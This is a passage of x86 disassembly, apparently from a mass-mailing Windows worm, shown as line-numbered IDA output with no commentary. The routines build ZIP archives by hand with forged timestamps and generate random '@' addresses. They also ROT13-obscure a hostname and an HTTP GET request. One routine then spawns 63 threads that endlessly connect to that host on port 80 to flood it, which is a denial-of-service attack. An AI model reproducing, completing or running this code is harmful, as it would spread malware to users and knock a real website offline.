  7399.         inc    edx
  7400.         dec    edi
  7401.         jnz    short loc_4A674F
  7402.  
  7403. loc_4A6765:                ; CODE XREF: sub_4A6670+DDj
  7404.         mov    eax, esi
  7405.         pop    edi
  7406.         not    eax
  7407.         pop    esi
  7408.         pop    ebp
  7409.         retn
  7410. sub_4A6670    endp
  7411.  
  7412.  
  7413. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7414.  
  7415. ; Attributes: bp-based frame
  7416.  
  7417. sub_4A676D    proc near        ; CODE XREF: sub_4A6864+B4p
  7418.  
  7419. SystemTime    = _SYSTEMTIME ptr -10h
  7420. arg_0        = dword    ptr  8
  7421. arg_4        = dword    ptr  0Ch
  7422.  
  7423.         push    ebp
  7424.         mov    ebp, esp
  7425.         sub    esp, 10h
  7426.         lea    eax, [ebp+SystemTime]
  7427.         push    eax        ; lpSystemTime
  7428.         call    ds:GetSystemTime
  7429.         cmp    [ebp+SystemTime.wYear],    7CFh
  7430.         jb    short loc_4A678D
  7431.         cmp    [ebp+SystemTime.wYear],    7DAh
  7432.         jbe    short loc_4A6793
  7433.  
  7434. loc_4A678D:                ; CODE XREF: sub_4A676D+16j
  7435.         mov    [ebp+SystemTime.wYear],    7D4h
  7436.  
  7437. loc_4A6793:                ; CODE XREF: sub_4A676D+1Ej
  7438.         cmp    [ebp+SystemTime.wMonth], 1
  7439.         jb    short loc_4A67A1
  7440.         cmp    [ebp+SystemTime.wMonth], 0Ch
  7441.         jbe    short loc_4A67A7
  7442.  
  7443. loc_4A67A1:                ; CODE XREF: sub_4A676D+2Bj
  7444.         mov    [ebp+SystemTime.wMonth], 1
  7445.  
  7446. loc_4A67A7:                ; CODE XREF: sub_4A676D+32j
  7447.         cmp    [ebp+SystemTime.wDay], 1
  7448.         jb    short loc_4A67B5
  7449.         cmp    [ebp+SystemTime.wDay], 1Fh
  7450.         jbe    short loc_4A67BB
  7451.  
  7452. loc_4A67B5:                ; CODE XREF: sub_4A676D+3Fj
  7453.         mov    [ebp+SystemTime.wDay], 0Ah
  7454.  
  7455. loc_4A67BB:                ; CODE XREF: sub_4A676D+46j
  7456.         mov    eax, dword ptr [ebp+SystemTime.wYear]
  7457.         mov    ecx, [ebp+arg_4]
  7458.         add    eax, 0FFFFFFC4h
  7459.         shl    eax, 4
  7460.         or    eax, dword ptr [ebp+SystemTime.wMonth]
  7461.         shl    eax, 5
  7462.         or    eax, dword ptr [ebp+SystemTime.wDay]
  7463.         mov    [ecx], ax
  7464.         mov    eax, dword ptr [ebp+SystemTime.wHour]
  7465.         mov    cx, [ebp+SystemTime.wSecond]
  7466.         shl    eax, 6
  7467.         or    eax, [ebp-6]
  7468.         shr    cx, 1
  7469.         shl    eax, 5
  7470.         or    eax, ecx
  7471.         mov    ecx, [ebp+arg_0]
  7472.         mov    [ecx], ax
  7473.         leave
  7474.         retn
  7475. sub_4A676D    endp
  7476.  
  7477.  
  7478. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7479.  
  7480. ; Attributes: bp-based frame
  7481.  
  7482. sub_4A67F0    proc near        ; CODE XREF: sub_4A6864+CCp
  7483.  
  7484. var_408        = byte ptr -408h
  7485. var_8        = dword    ptr -8
  7486. var_4        = dword    ptr -4
  7487. hFile        = dword    ptr  8
  7488.  
  7489.         push    ebp
  7490.         mov    ebp, esp
  7491.         sub    esp, 408h
  7492.         push    ebx
  7493.         push    esi
  7494.         xor    esi, esi
  7495.         push    edi
  7496.         push    esi        ; dwMoveMethod
  7497.         push    esi        ; lpDistanceToMoveHigh
  7498.         push    esi        ; lDistanceToMove
  7499.         push    [ebp+hFile]    ; hFile
  7500.         call    ds:SetFilePointer
  7501.         mov    edi, ds:ReadFile
  7502.         mov    [ebp+var_8], esi
  7503.         mov    ebx, 400h
  7504.         jmp    short loc_4A6837
  7505. ; ───────────────────────────────────────────────────────────────────────────
  7506.  
  7507. loc_4A681A:                ; CODE XREF: sub_4A67F0+5Ej
  7508.         cmp    [ebp+var_4], esi
  7509.         jz    short loc_4A6850
  7510.         push    [ebp+var_4]
  7511.         lea    eax, [ebp+var_408]
  7512.         push    eax
  7513.         push    [ebp+var_8]
  7514.         call    sub_4A6670
  7515.         add    esp, 0Ch
  7516.         mov    [ebp+var_8], eax
  7517.  
  7518. loc_4A6837:                ; CODE XREF: sub_4A67F0+28j
  7519.         lea    eax, [ebp+var_4]
  7520.         push    esi
  7521.         push    eax
  7522.         lea    eax, [ebp+var_408]
  7523.         push    ebx
  7524.         push    eax
  7525.         push    [ebp+hFile]
  7526.         mov    [ebp+var_4], esi
  7527.         call    edi
  7528.         test    eax, eax
  7529.         jnz    short loc_4A681A
  7530.  
  7531. loc_4A6850:                ; CODE XREF: sub_4A67F0+2Dj
  7532.         push    esi        ; dwMoveMethod
  7533.         push    esi        ; lpDistanceToMoveHigh
  7534.         push    esi        ; lDistanceToMove
  7535.         push    [ebp+hFile]    ; hFile
  7536.         call    ds:SetFilePointer
  7537.         mov    eax, [ebp+var_8]
  7538.         pop    edi
  7539.         pop    esi
  7540.         pop    ebx
  7541.         leave
  7542.         retn
  7543. sub_4A67F0    endp
  7544.  
  7545.  
  7546. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7547.  
  7548. ; Attributes: bp-based frame
  7549.  
  7550. sub_4A6864    proc near        ; CODE XREF: sub_4A6FCD+FEp
  7551.  
  7552. var_47C        = byte ptr -47Ch
  7553. NumberOfBytesWritten= dword ptr    -7Ch
  7554. var_78        = dword    ptr -78h
  7555. var_74        = word ptr -74h
  7556. var_72        = word ptr -72h
  7557. var_70        = word ptr -70h
  7558. var_6E        = word ptr -6Eh
  7559. var_6C        = word ptr -6Ch
  7560. var_6A        = word ptr -6Ah
  7561. var_68        = dword    ptr -68h
  7562. var_64        = dword    ptr -64h
  7563. var_60        = dword    ptr -60h
  7564. var_5C        = word ptr -5Ch
  7565. var_5A        = word ptr -5Ah
  7566. var_54        = word ptr -54h
  7567. var_52        = dword    ptr -52h
  7568. var_4E        = dword    ptr -4Eh
  7569. Buffer        = dword    ptr -48h
  7570. var_44        = word ptr -44h
  7571. var_42        = word ptr -42h
  7572. var_40        = word ptr -40h
  7573. var_3E        = word ptr -3Eh
  7574. var_3C        = word ptr -3Ch
  7575. var_3A        = dword    ptr -3Ah
  7576. var_36        = dword    ptr -36h
  7577. var_32        = dword    ptr -32h
  7578. var_2E        = word ptr -2Eh
  7579. var_2C        = word ptr -2Ch
  7580. var_28        = dword    ptr -28h
  7581. var_24        = word ptr -24h
  7582. var_22        = word ptr -22h
  7583. var_20        = word ptr -20h
  7584. var_1E        = word ptr -1Eh
  7585. var_1C        = dword    ptr -1Ch
  7586. var_18        = dword    ptr -18h
  7587. var_14        = word ptr -14h
  7588. var_10        = dword    ptr -10h
  7589. hObject        = dword    ptr -0Ch
  7590. hFile        = dword    ptr -8
  7591. NumberOfBytesRead= dword ptr -4
  7592. lpFileName    = dword    ptr  8
  7593. arg_4        = dword    ptr  0Ch
  7594. lpString    = dword    ptr  10h
  7595.  
  7596.         push    ebp
  7597.         mov    ebp, esp
  7598.         sub    esp, 47Ch
  7599.         push    ebx
  7600.         push    esi
  7601.         push    edi
  7602.         xor    esi, esi
  7603.         mov    edi, 80h
  7604.         push    esi        ; hTemplateFile
  7605.         mov    ebx, ds:CreateFileA
  7606.         push    edi        ; dwFlagsAndAttributes
  7607.         push    3        ; dwCreationDisposition
  7608.         push    esi        ; lpSecurityAttributes
  7609.         push    3        ; dwShareMode
  7610.         push    80000000h    ; dwDesiredAccess
  7611.         push    [ebp+lpFileName] ; lpFileName
  7612.         call    ebx ; CreateFileA
  7613.         cmp    eax, 0FFFFFFFFh
  7614.         mov    [ebp+hFile], eax
  7615.         jz    loc_4A6A97
  7616.         cmp    eax, esi
  7617.         jz    loc_4A6A97
  7618.         push    esi        ; hTemplateFile
  7619.         push    edi        ; dwFlagsAndAttributes
  7620.         push    2        ; dwCreationDisposition
  7621.         push    esi        ; lpSecurityAttributes
  7622.         push    3        ; dwShareMode
  7623.         push    40000000h    ; dwDesiredAccess
  7624.         push    [ebp+arg_4]    ; lpFileName
  7625.         call    ebx ; CreateFileA
  7626.         mov    edi, eax
  7627.         cmp    edi, 0FFFFFFFFh
  7628.         mov    [ebp+hObject], edi
  7629.         jz    loc_4A6A92
  7630.         cmp    edi, esi
  7631.         jz    loc_4A6A92
  7632.         push    1Eh
  7633.         lea    eax, [ebp+Buffer]
  7634.         push    esi
  7635.         push    eax
  7636.         call    memset
  7637.         push    2Eh
  7638.         lea    eax, [ebp+var_78]
  7639.         push    esi
  7640.         push    eax
  7641.         call    memset
  7642.         push    16h
  7643.         lea    eax, [ebp+var_28]
  7644.         push    esi
  7645.         push    eax
  7646.         call    memset
  7647.         lea    eax, [ebp+var_3C]
  7648.         mov    [ebp+Buffer], 4034B50h
  7649.         push    eax
  7650.         lea    eax, [ebp+var_3E]
  7651.         push    eax
  7652.         mov    [ebp+var_44], 0Ah
  7653.         mov    [ebp+var_72], 0Ah
  7654.         mov    [ebp+var_42], si
  7655.         mov    [ebp+var_70], si
  7656.         mov    [ebp+var_40], si
  7657.         mov    [ebp+var_6E], si
  7658.         call    sub_4A676D
  7659.         mov    ax, [ebp+var_3E]
  7660.         push    [ebp+hFile]
  7661.         mov    [ebp+var_6C], ax
  7662.         mov    ax, [ebp+var_3C]
  7663.         mov    [ebp+var_6A], ax
  7664.         call    sub_4A67F0
  7665.         mov    ebx, ds:GetFileSize
  7666.         add    esp, 30h
  7667.         mov    [ebp+var_3A], eax
  7668.         mov    [ebp+var_68], eax
  7669.         push    esi        ; lpFileSizeHigh
  7670.         push    [ebp+hFile]    ; hFile
  7671.         call    ebx ; GetFileSize
  7672.         push    esi        ; lpFileSizeHigh
  7673.         mov    [ebp+var_36], eax
  7674.         push    [ebp+hFile]    ; hFile
  7675.         mov    [ebp+var_64], eax
  7676.         call    ebx ; GetFileSize
  7677.         push    [ebp+lpString]    ; lpString
  7678.         mov    ebx, ds:lstrlenA
  7679.         mov    [ebp+var_32], eax
  7680.         mov    [ebp+var_60], eax
  7681.         call    ebx ; lstrlenA
  7682.         mov    [ebp+var_2E], ax
  7683.         mov    [ebp+var_5C], ax
  7684.         lea    eax, [ebp+NumberOfBytesRead]
  7685.         push    esi        ; lpOverlapped
  7686.         push    eax        ; lpNumberOfBytesWritten
  7687.         lea    eax, [ebp+Buffer]
  7688.         push    1Eh        ; nNumberOfBytesToWrite
  7689.         push    eax        ; lpBuffer
  7690.         push    edi        ; hFile
  7691.         mov    edi, ds:WriteFile
  7692.         mov    [ebp+var_2C], si
  7693.         mov    [ebp+var_5A], si
  7694.         mov    [ebp+var_4E], esi
  7695.         call    edi ; WriteFile
  7696.         lea    eax, [ebp+NumberOfBytesRead]
  7697.         push    esi        ; lpOverlapped
  7698.         push    eax        ; lpNumberOfBytesWritten
  7699.         push    [ebp+lpString]    ; lpString
  7700.         call    ebx ; lstrlenA
  7701.         push    eax        ; nNumberOfBytesToWrite
  7702.         push    [ebp+lpString]    ; lpBuffer
  7703.         push    [ebp+hObject]    ; hFile
  7704.         call    edi ; WriteFile
  7705.         push    [ebp+lpString]    ; lpString
  7706.         call    ebx ; lstrlenA
  7707.         push    esi        ; dwMoveMethod
  7708.         push    esi        ; lpDistanceToMoveHigh
  7709.         add    eax, 1Eh
  7710.         push    esi        ; lDistanceToMove
  7711.         push    [ebp+hFile]    ; hFile
  7712.         mov    [ebp+var_10], eax
  7713.         call    ds:SetFilePointer
  7714.         jmp    short loc_4A69D9
  7715. ; ───────────────────────────────────────────────────────────────────────────
  7716.  
  7717. loc_4A69BA:                ; CODE XREF: sub_4A6864+194j
  7718.         cmp    [ebp+NumberOfBytesRead], esi
  7719.         jz    short loc_4A69FA
  7720.         lea    eax, [ebp+NumberOfBytesWritten]
  7721.         push    esi        ; lpOverlapped
  7722.         push    eax        ; lpNumberOfBytesWritten
  7723.         lea    eax, [ebp+var_47C]
  7724.         push    [ebp+NumberOfBytesRead]    ; nNumberOfBytesToWrite
  7725.         push    eax        ; lpBuffer
  7726.         push    [ebp+hObject]    ; hFile
  7727.         call    edi ; WriteFile
  7728.         mov    eax, [ebp+NumberOfBytesRead]
  7729.         add    [ebp+var_10], eax
  7730.  
  7731. loc_4A69D9:                ; CODE XREF: sub_4A6864+154j
  7732.         lea    eax, [ebp+NumberOfBytesRead]
  7733.         push    esi        ; lpOverlapped
  7734.         push    eax        ; lpNumberOfBytesRead
  7735.         lea    eax, [ebp+var_47C]
  7736.         push    400h        ; nNumberOfBytesToRead
  7737.         push    eax        ; lpBuffer
  7738.         push    [ebp+hFile]    ; hFile
  7739.         mov    [ebp+NumberOfBytesRead], esi
  7740.         call    ds:ReadFile
  7741.         test    eax, eax
  7742.         jnz    short loc_4A69BA
  7743.  
  7744. loc_4A69FA:                ; CODE XREF: sub_4A6864+159j
  7745.         mov    eax, [ebp+var_10]
  7746.         push    esi        ; lpOverlapped
  7747.         mov    [ebp+var_18], eax
  7748.         lea    eax, [ebp+NumberOfBytesRead]
  7749.         push    eax        ; lpNumberOfBytesWritten
  7750.         lea    eax, [ebp+var_78]
  7751.         push    2Eh        ; nNumberOfBytesToWrite
  7752.         push    eax        ; lpBuffer
  7753.         push    [ebp+hObject]    ; hFile
  7754.         mov    [ebp+var_78], 2014B50h
  7755.         mov    [ebp+var_74], 14h
  7756.         mov    [ebp+var_54], si
  7757.         mov    [ebp+var_52], 20h
  7758.         call    edi ; WriteFile
  7759.         lea    eax, [ebp+NumberOfBytesRead]
  7760.         push    esi        ; lpOverlapped
  7761.         push    eax        ; lpNumberOfBytesWritten
  7762.         push    [ebp+lpString]    ; lpString
  7763.         call    ebx ; lstrlenA
  7764.         push    eax        ; nNumberOfBytesToWrite
  7765.         push    [ebp+lpString]    ; lpBuffer
  7766.         push    [ebp+hObject]    ; hFile
  7767.         call    edi ; WriteFile
  7768.         push    [ebp+lpString]    ; lpString
  7769.         call    ebx ; lstrlenA
  7770.         mov    ecx, [ebp+var_10]
  7771.         push    esi        ; lpOverlapped
  7772.         mov    [ebp+var_28], 6054B50h
  7773.         mov    [ebp+var_24], si
  7774.         lea    eax, [ecx+eax+2Eh]
  7775.         mov    [ebp+var_22], si
  7776.         sub    eax, [ebp+var_18]
  7777.         mov    [ebp+var_20], 1
  7778.         mov    [ebp+var_1E], 1
  7779.         mov    [ebp+var_14], si
  7780.         mov    [ebp+var_1C], eax
  7781.         lea    eax, [ebp+NumberOfBytesRead]
  7782.         push    eax        ; lpNumberOfBytesWritten
  7783.         lea    eax, [ebp+var_28]
  7784.         push    16h        ; nNumberOfBytesToWrite
  7785.         push    eax        ; lpBuffer
  7786.         push    [ebp+hObject]    ; hFile
  7787.         call    edi ; WriteFile
  7788.         push    [ebp+hObject]    ; hObject
  7789.         call    ds:CloseHandle
  7790.  
  7791. loc_4A6A85:                ; CODE XREF: sub_4A6864+231j
  7792.         push    [ebp+hFile]    ; hObject
  7793.         call    ds:CloseHandle
  7794.         mov    eax, esi
  7795.         jmp    short loc_4A6A9A
  7796. ; ───────────────────────────────────────────────────────────────────────────
  7797.  
  7798. loc_4A6A92:                ; CODE XREF: sub_4A6864+57j
  7799.                     ; sub_4A6864+5Fj
  7800.         push    2
  7801.         pop    esi
  7802.         jmp    short loc_4A6A85
  7803. ; ───────────────────────────────────────────────────────────────────────────
  7804.  
  7805. loc_4A6A97:                ; CODE XREF: sub_4A6864+30j
  7806.                     ; sub_4A6864+38j
  7807.         xor    eax, eax
  7808.         inc    eax
  7809.  
  7810. loc_4A6A9A:                ; CODE XREF: sub_4A6864+22Cj
  7811.         pop    edi
  7812.         pop    esi
  7813.         pop    ebx
  7814.         leave
  7815.         retn
  7816. sub_4A6864    endp
  7817.  
  7818.  
  7819. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7820.  
  7821. ; Attributes: bp-based frame
  7822.  
  7823. sub_4A6A9F    proc near        ; CODE XREF: sub_4A6BB4+48p
  7824.  
  7825. var_214        = dword    ptr -214h
  7826. var_210        = dword    ptr -210h
  7827. var_110        = dword    ptr -110h
  7828. var_10C        = dword    ptr -10Ch
  7829. var_C        = dword    ptr -0Ch
  7830. var_8        = dword    ptr -8
  7831. var_4        = dword    ptr -4
  7832. arg_0        = dword    ptr  8
  7833. arg_4        = dword    ptr  0Ch
  7834.  
  7835.         push    ebp
  7836.         mov    ebp, esp
  7837.         sub    esp, 214h
  7838.         push    ebx
  7839.         xor    ebx, ebx
  7840.         push    esi
  7841.         push    edi
  7842.         inc    ebx
  7843.         push    6
  7844.         push    ebx
  7845.         push    2
  7846.         call    ds:WS2_32_23
  7847.         mov    esi, eax
  7848.         test    esi, esi
  7849.         jz    loc_4A6BAD
  7850.         cmp    esi, 0FFFFFFFFh
  7851.         jz    loc_4A6BAD
  7852.         mov    eax, [ebp+arg_4]
  7853.         mov    ecx, 3E8h
  7854.         cdq
  7855.         idiv    ecx
  7856.         and    [ebp+var_8], 0
  7857.         mov    [ebp+var_4], ebx
  7858.         mov    [ebp+var_C], eax
  7859.         lea    eax, [ebp+var_4]
  7860.         push    eax
  7861.         push    8004667Eh
  7862.         push    esi
  7863.         call    ds:WS2_32_10
  7864.         mov    edi, ds:WS2_32_4
  7865.         jmp    short loc_4A6B11
  7866. ; ───────────────────────────────────────────────────────────────────────────
  7867.  
  7868. loc_4A6AF9:                ; CODE XREF: sub_4A6A9F+80j
  7869.         call    ds:WS2_32_111
  7870.         cmp    eax, 2747h
  7871.         mov    [ebp+var_4], eax
  7872.         jnz    short loc_4A6B23
  7873.         push    32h        ; dwMilliseconds
  7874.         call    ds:Sleep
  7875.  
  7876. loc_4A6B11:                ; CODE XREF: sub_4A6A9F+58j
  7877.         push    10h
  7878.         push    [ebp+arg_0]
  7879.         push    esi
  7880.         call    edi
  7881.         cmp    eax, 0FFFFFFFFh
  7882.         mov    [ebp+var_4], eax
  7883.         jz    short loc_4A6AF9
  7884.         jmp    short loc_4A6B8E
  7885. ; ───────────────────────────────────────────────────────────────────────────
  7886.  
  7887. loc_4A6B23:                ; CODE XREF: sub_4A6A9F+68j
  7888.         cmp    eax, 2733h
  7889.         jnz    short loc_4A6BA6
  7890.         lea    eax, [ebp+var_C]
  7891.         mov    [ebp+var_210], esi
  7892.         push    eax
  7893.         lea    eax, [ebp+var_110]
  7894.         push    eax
  7895.         lea    eax, [ebp+var_214]
  7896.         push    eax
  7897.         lea    eax, [esi+1]
  7898.         push    0
  7899.         push    eax
  7900.         mov    [ebp+var_214], ebx
  7901.         mov    [ebp+var_10C], esi
  7902.         mov    [ebp+var_110], ebx
  7903.         call    ds:WS2_32_18
  7904.         test    eax, eax
  7905.         mov    [ebp+var_4], eax
  7906.         jz    short loc_4A6BA6
  7907.         cmp    eax, 0FFFFFFFFh
  7908.         jz    short loc_4A6BA6
  7909.         lea    eax, [ebp+var_110]
  7910.         push    eax
  7911.         push    esi
  7912.         call    WS2_32_151
  7913.         test    eax, eax
  7914.         jnz    short loc_4A6BA6
  7915.         lea    eax, [ebp+var_214]
  7916.         push    eax
  7917.         push    esi
  7918.         call    WS2_32_151
  7919.         test    eax, eax
  7920.         jz    short loc_4A6BA6
  7921.  
  7922. loc_4A6B8E:                ; CODE XREF: sub_4A6A9F+82j
  7923.         and    [ebp+var_4], 0
  7924.         lea    eax, [ebp+var_4]
  7925.         push    eax
  7926.         push    8004667Eh
  7927.         push    esi
  7928.         call    ds:WS2_32_10
  7929.         mov    eax, esi
  7930.         jmp    short loc_4A6BAF
  7931. ; ───────────────────────────────────────────────────────────────────────────
  7932.  
  7933. loc_4A6BA6:                ; CODE XREF: sub_4A6A9F+89j
  7934.                     ; sub_4A6A9F+C6j ...
  7935.         push    esi
  7936.         call    ds:WS2_32_3
  7937.  
  7938. loc_4A6BAD:                ; CODE XREF: sub_4A6A9F+1Ej
  7939.                     ; sub_4A6A9F+27j
  7940.         xor    eax, eax
  7941.  
  7942. loc_4A6BAF:                ; CODE XREF: sub_4A6A9F+105j
  7943.         pop    edi
  7944.         pop    esi
  7945.         pop    ebx
  7946.         leave
  7947.         retn
  7948. sub_4A6A9F    endp
  7949.  
  7950.  
  7951. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  7952.  
  7953. ; Attributes: bp-based frame
  7954.  
  7955. sub_4A6BB4    proc near        ; CODE XREF: sub_4A6C3B+99p
  7956.                     ; DATA XREF: sub_4A6C3B+85o
  7957.  
  7958. String        = byte ptr -210h
  7959. var_10        = byte ptr -10h
  7960. dwExitCode    = dword    ptr  8
  7961.  
  7962.         push    ebp
  7963.         mov    ebp, esp
  7964.         sub    esp, 210h
  7965.         push    esi
  7966.         push    edi
  7967.         lea    eax, [ebp+String]
  7968.         push    offset aTrgUggc1_1Ubfg ; "TRG /    UGGC/1.1\r\nUbfg: jjj.fpb.pbz\r\n\r\n"
  7969.         push    eax
  7970.         call    sub_4A465E
  7971.         pop    ecx
  7972.         pop    ecx
  7973.         push    0FFFFFFFFh    ; nPriority
  7974.         call    ds:GetCurrentThread
  7975.         push    eax        ; hThread
  7976.         call    ds:SetThreadPriority
  7977.         mov    esi, [ebp+dwExitCode]
  7978.         test    esi, esi
  7979.         jnz    short loc_4A6BEF
  7980.         push    esi        ; dwExitCode
  7981.         call    ds:ExitThread
  7982.  
  7983. loc_4A6BEF:                ; CODE XREF: sub_4A6BB4+32j
  7984.         lea    edi, [ebp+var_10]
  7985.         movsd
  7986.         movsd
  7987.         movsd
  7988.         movsd
  7989.  
  7990. loc_4A6BF6:                ; CODE XREF: sub_4A6BB4+53j
  7991.                     ; sub_4A6BB4+85j
  7992.         lea    eax, [ebp+var_10]
  7993.         push    8
  7994.         push    eax
  7995.         call    sub_4A6A9F
  7996.         mov    esi, eax
  7997.         pop    ecx
  7998.         test    esi, esi
  7999.         pop    ecx
  8000.         jz    short loc_4A6BF6
  8001.         lea    eax, [ebp+String]
  8002.         push    0
  8003.         push    eax        ; lpString
  8004.         call    ds:lstrlenA
  8005.         push    eax
  8006.         lea    eax, [ebp+String]
  8007.         push    eax
  8008.         push    esi
  8009.         call    ds:WS2_32_19
  8010.         push    12Ch        ; dwMilliseconds
  8011.         call    ds:Sleep
  8012.         push    esi
  8013.         call    ds:WS2_32_3
  8014.         jmp    short loc_4A6BF6
  8015. sub_4A6BB4    endp
  8016.  
  8017.  
  8018. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8019.  
  8020. ; Attributes: bp-based frame
  8021.  
  8022. sub_4A6C3B    proc near        ; CODE XREF: sub_4A3DB0+33p
  8023.  
  8024. var_94        = byte ptr -94h
  8025. ThreadId    = dword    ptr -14h
  8026. Parameter    = word ptr -10h
  8027. var_E        = word ptr -0Eh
  8028. var_C        = dword    ptr -0Ch
  8029.  
  8030.         push    ebp
  8031.         mov    ebp, esp
  8032.         sub    esp, 94h
  8033.         push    ebx
  8034.         push    esi
  8035.         push    edi
  8036.         lea    eax, [ebp+var_94]
  8037.         push    offset aJjj_fpb_pbz ; "jjj.fpb.pbz"
  8038.         push    eax
  8039.         call    sub_4A465E
  8040.         mov    edi, ds:Sleep
  8041.         pop    ecx
  8042.         pop    ecx
  8043.         mov    ebx, 8000h
  8044.         jmp    short loc_4A6C6A
  8045. ; ───────────────────────────────────────────────────────────────────────────
  8046.  
  8047. loc_4A6C67:                ; CODE XREF: sub_4A6C3B+36j
  8048.                     ; sub_4A6C3B+49j
  8049.         push    ebx        ; dwMilliseconds
  8050.         call    edi ; Sleep
  8051.  
  8052. loc_4A6C6A:                ; CODE XREF: sub_4A6C3B+2Aj
  8053.         call    sub_4A4681
  8054.         test    eax, eax
  8055.         jz    short loc_4A6C67
  8056.         lea    eax, [ebp+var_94]
  8057.         push    eax
  8058.         call    ds:WS2_32_52
  8059.         mov    esi, eax
  8060.         test    esi, esi
  8061.         jz    short loc_4A6C67
  8062.         push    10h
  8063.         lea    eax, [ebp+Parameter]
  8064.         push    0
  8065.         push    eax
  8066.         call    memset
  8067.         mov    [ebp+Parameter], 2
  8068.         mov    eax, [esi+0Ch]
  8069.         add    esp, 0Ch
  8070.         mov    eax, [eax]
  8071.         push    50h
  8072.         mov    eax, [eax]
  8073.         mov    [ebp+var_C], eax
  8074.         call    ds:WS2_32_9
  8075.         push    3Fh
  8076.         mov    [ebp+var_E], ax
  8077.         pop    esi
  8078.  
  8079. loc_4A6CB5:                ; CODE XREF: sub_4A6C3B+93j
  8080.         lea    eax, [ebp+ThreadId]
  8081.         lea    ecx, [ebp+Parameter]
  8082.         push    eax        ; lpThreadId
  8083.         xor    eax, eax
  8084.         push    eax        ; dwCreationFlags
  8085.         push    ecx        ; lpParameter
  8086.         push    offset sub_4A6BB4 ; lpStartAddress
  8087.         push    eax        ; dwStackSize
  8088.         push    eax        ; lpThreadAttributes
  8089.         call    ds:CreateThread
  8090.         dec    esi
  8091.         jnz    short loc_4A6CB5
  8092.         lea    eax, [ebp+Parameter]
  8093.         push    eax
  8094.         call    sub_4A6BB4
  8095.         pop    edi
  8096.         pop    esi
  8097.         pop    ebx
  8098.         leave
  8099.         retn
  8100. sub_4A6C3B    endp
  8101.  
  8102.  
  8103. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8104.  
  8105.  
  8106. sub_4A6CDE    proc near        ; CODE XREF: sub_4A76D2+47p
  8107.  
  8108. arg_0        = dword    ptr  8
  8109.  
  8110.         push    ebx
  8111.         mov    ebx, [esp+arg_0]
  8112.         add    ebx, 4
  8113.         push    esi
  8114.         and    byte ptr [ebx],    0
  8115.         call    sub_4A4221
  8116.         movzx    eax, ax
  8117.         push    64h
  8118.         cdq
  8119.         pop    ecx
  8120.         idiv    ecx
  8121.         cmp    edx, 62h
  8122.         jge    short loc_4A6D44
  8123.         mov    eax, ds:dword_4A83CC
  8124.         xor    esi, esi
  8125.         test    eax, eax
  8126.         jz    short loc_4A6D44
  8127.  
  8128. loc_4A6D08:                ; CODE XREF: sub_4A6CDE+2Fj
  8129.         mov    eax, [eax]
  8130.         inc    esi
  8131.         test    eax, eax
  8132.         jnz    short loc_4A6D08
  8133.         cmp    esi, 3
  8134.         jle    short loc_4A6D44
  8135.         call    sub_4A4239
  8136.         xor    edx, edx
  8137.         xor    ecx, ecx
  8138.         div    esi
  8139.         mov    eax, ds:dword_4A83CC
  8140.         test    eax, eax
  8141.         jz    short loc_4A6D44
  8142.  
  8143. loc_4A6D28:                ; CODE XREF: sub_4A6CDE+53j
  8144.         cmp    ecx, edx
  8145.         jz    short loc_4A6D33
  8146.         mov    eax, [eax]
  8147.         inc    ecx
  8148.         test    eax, eax
  8149.         jnz    short loc_4A6D28
  8150.  
  8151. loc_4A6D33:                ; CODE XREF: sub_4A6CDE+4Cj
  8152.         test    eax, eax
  8153.         jz    short loc_4A6D44
  8154.         add    eax, 0Ah
  8155.         push    eax        ; lpString2
  8156.         push    ebx        ; lpString1
  8157.         call    ds:lstrcpyA
  8158.         jmp    short loc_4A6D9C
  8159. ; ───────────────────────────────────────────────────────────────────────────
  8160.  
  8161. loc_4A6D44:                ; CODE XREF: sub_4A6CDE+1Dj
  8162.                     ; sub_4A6CDE+28j ...
  8163.         push    edi
  8164.         call    sub_4A4221
  8165.         movzx    eax, ax
  8166.         push    3
  8167.         xor    edi, edi
  8168.         cdq
  8169.         pop    ecx
  8170.         idiv    ecx
  8171.         mov    esi, edx
  8172.         add    esi, ecx
  8173.         test    esi, esi
  8174.         jle    short loc_4A6D76
  8175.  
  8176. loc_4A6D5D:                ; CODE XREF: sub_4A6CDE+96j
  8177.         call    sub_4A4221
  8178.         movzx    eax, ax
  8179.         push    1Ah
  8180.         cdq
  8181.         pop    ecx
  8182.         idiv    ecx
  8183.         add    dl, 61h
  8184.         mov    [ebx+edi], dl
  8185.         inc    edi
  8186.         cmp    edi, esi
  8187.         jl    short loc_4A6D5D
  8188.  
  8189. loc_4A6D76:                ; CODE XREF: sub_4A6CDE+7Dj
  8190.         mov    eax, [esp+8+arg_0]
  8191.         lea    esi, [edi+eax]
  8192.         mov    byte ptr [esi+4], 40h
  8193.         call    sub_4A4221
  8194.         and    eax, 3
  8195.         add    esi, 5
  8196.         push    ds:dword_4A13EC[eax*4]
  8197.         push    esi
  8198.         call    sub_4A465E
  8199.         pop    ecx
  8200.         pop    ecx
  8201.         pop    edi
  8202.  
  8203. loc_4A6D9C:                ; CODE XREF: sub_4A6CDE+64j
  8204.         pop    esi
  8205.         pop    ebx
  8206.         retn
  8207. sub_4A6CDE    endp
  8208.  
  8209.  
  8210. ; ███████████████ S U B    R O U T    I N E ███████████████████████████████████████
  8211.  
  8212.  
  8213. sub_4A6D9F    proc near        ; CODE XREF: sub_4A76D2+55p
  8214.         push    ebx
  8215.         push    esi
  8216.         mov    ebx, eax
  8217.         call    sub_4A4221
  8218.         movzx    eax, ax
  8219.         push    64h
  8220.         cdq
  8221.         pop    ecx
  8222.         idiv    ecx
  8223.         cmp    edx, 8
  8224.         jge    short loc_4A6DF8
  8225.         push    edi
  8226.         call    sub_4A4221
  8227.         movzx    eax, ax
  8228.         push    5
  8229.         xor    esi, esi
  8230.         cdq
  8231.         pop    ecx
  8232.         idiv    ecx
  8233.         mov    edi, edx
  8234.         add    edi, 3
  8235.         test    edi, edi
  8236.         jle    short loc_4A6DED
  8237.  
  8238. loc_4A6DD0:                ; CODE XREF: sub_4A6D9F+4Cj
  8239.         call    sub_4A4221
  8240.         movzx    eax, ax
  8241.         push    1Ah
  8242.         cdq
  8243.         pop    ecx
  8244.         idiv    ecx
  8245.         add    dl, 61h
  8246.         mov    [ebx+esi+184h],    dl
  8247.         inc    esi
  8248.         cmp    esi, edi
  8249.         jl    short loc_4A6DD0
  8250.  
